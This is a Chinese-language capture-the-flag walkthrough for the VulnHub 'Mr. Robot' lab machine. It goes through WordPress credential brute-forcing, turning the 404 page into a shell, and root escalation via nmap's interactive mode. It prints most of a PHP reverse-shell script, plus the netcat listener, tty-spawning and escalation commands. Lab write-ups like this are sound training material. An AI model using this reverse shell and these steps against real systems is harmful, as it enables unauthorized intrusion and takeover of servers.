vulnhub靶机-mrRobot

下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/

描述:

Based on the show, Mr. Robot.

This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

有三个key

1、找到靶机ip---192.168.0.109

netdiscover -r 192.168.0.0/24

vulnhub靶机-mrRobot_第1张图片

2、扫描主机开放端口,看到开放端口有22,80,443

nmap -A -p- 192.168.0.109

vulnhub靶机-mrRobot_第2张图片

3、访问80端口,443端口,两个内容是一样的,页面就两个字----酷炫

vulnhub靶机-mrRobot_第3张图片 4、随便试试几个常见的目录robots.txt,readme.txt

在robots.txt下面发现了东西

vulnhub靶机-mrRobot_第4张图片

得到第一个key和一个字典文件

vulnhub靶机-mrRobot_第5张图片

vulnhub靶机-mrRobot_第6张图片

访问readme.txt是不存在这个页面的,暴露出了WordPress站点

vulnhub靶机-mrRobot_第7张图片

5、既然是wp站点,直接上工具扫描,这里使用kali自带的wpscan,工具有问题的去看我的前一篇文章

vulnhub靶机-mrRobot_第8张图片

结果显示没有找到用户名

6、进入到默认的后台wp-admin并getshell

尝试一些弱口令都不行,但是却发现了 一些问题,用户名错误时就显示invalid username 

vulnhub靶机-mrRobot_第9张图片

于是想到用刚刚的字典来爆破用户名

下载文件并且排序去重

wget http://192.168.0.109/fsocity.dic
cat fsocity.dic|sort|uniq > dict.txt

使用burpsuit抓包先爆破用户名,得到三个,看样子是不区分大小写的elliot

vulnhub靶机-mrRobot_第10张图片

再爆破密码,得到ER28-0652

vulnhub靶机-mrRobot_第11张图片

7、进入后台并getshell

有了用户名和密码elliot/ER28-0652,就直接登录后台,修改404页面,本地监听,访问页面,getshell

登录后台wp-admin

vulnhub靶机-mrRobot_第12张图片

修改404.php内容为php-reverse-shell.php文件的内容,修改ip,port

https://192.168.0.109/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen&scrollto=1266

vulnhub靶机-mrRobot_第13张图片

 array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

kali上开启监听本地4444端口

nc -lvvp 4444

访问404.php页面

https://192.168.0.109/wp-content/themes/twentyfifteen/404.php

kali成功接收到shell

vulnhub靶机-mrRobot_第14张图片

8、提权

通过python获取一个tty

python -c 'import pty;pty.spawn("/bin/sh")'

在/home/robot目录下发现了第二个key和一个password文件

读取key没有权限,password文件成功读取

vulnhub靶机-mrRobot_第15张图片

把密文拿去md5在线网站解密,得到

vulnhub靶机-mrRobot_第16张图片

使用用户名登录到robot并查看第二个key文件,由于前面扫描22端口是closed状态,所以ssh远程登录不行

vulnhub靶机-mrRobot_第17张图片

接下来还有第三个key文件,根据套路,肯定在root目录下,需要提权,下载LinEnum.sh到/tmp目录下执行

vulnhub靶机-mrRobot_第18张图片

发现了一个nmap命令,于是使用nmap提权,此时就是root身份了,查看第三个key文件

nmap --interactive     进入交互界面
!sh

vulnhub靶机-mrRobot_第19张图片

9、补充----扫目录(另一种获取后台用户名密码的方式)

扫目录的结果

vulnhub靶机-mrRobot_第20张图片

找一些特殊的目录进行访问一下

访问0目录的时候就暴露出了wp站点

vulnhub靶机-mrRobot_第21张图片

访问readme.html,没有什么有价值的信息

vulnhub靶机-mrRobot_第22张图片

访问license.txt,没有什么有价值的东西

vulnhub靶机-mrRobot_第23张图片

等等,发现右边怎么有个滚动条,此事必然不简单

vulnhub靶机-mrRobot_第24张图片

接着往下面滑

vulnhub靶机-mrRobot_第25张图片

接着往下滑,得到一串base64编码的密文:ZWxsaW90OkVSMjgtMDY1Mgo=

vulnhub靶机-mrRobot_第26张图片

拿到在线解密网站解密,得到用户名和密码elliot:ER28-0652,直接帮我们省去了爆破的时间

vulnhub靶机-mrRobot_第27张图片

你可能感兴趣的:(vulnhub靶机)